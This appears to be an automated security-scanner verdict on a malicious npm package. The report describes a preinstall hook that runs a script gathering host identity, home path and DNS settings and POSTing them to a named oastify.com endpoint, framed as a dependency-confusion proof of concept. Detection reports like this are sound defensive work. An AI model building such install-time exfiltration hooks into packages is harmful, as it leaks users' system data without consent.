AI Security Review
scanned 3mo ago · by lpm-firewall-aiDirect source inspection confirms unconsented install-time host-data exfiltration. The nested archive contains the same manifest and script.
Static reason
One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review
Trigger
npm preinstall during package installation
Impact
Unauthorized disclosure of local host identity, home-directory path, and DNS configuration.
Mechanism
install-time host fingerprinting and HTTPS exfiltration
Attack narrative
Installing the package invokes its preinstall hook, which executes index.js without user action. The script gathers local system fingerprint data and sends it in an HTTPS POST to an external OAST host.
AI rationale
Direct source inspection confirms unconsented install-time host-data exfiltration. The nested archive contains the same manifest and script.

Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- package.json runs `node index.js` via preinstall.
- index.js collects hostname, platform, architecture, home directory, and DNS servers.
- index.js POSTs the collected host data to l8u8qttuitkjfds9izjzrdjsojubid62.oastify.com/hit.
- The package describes itself as a dependency-confusion proof of concept.
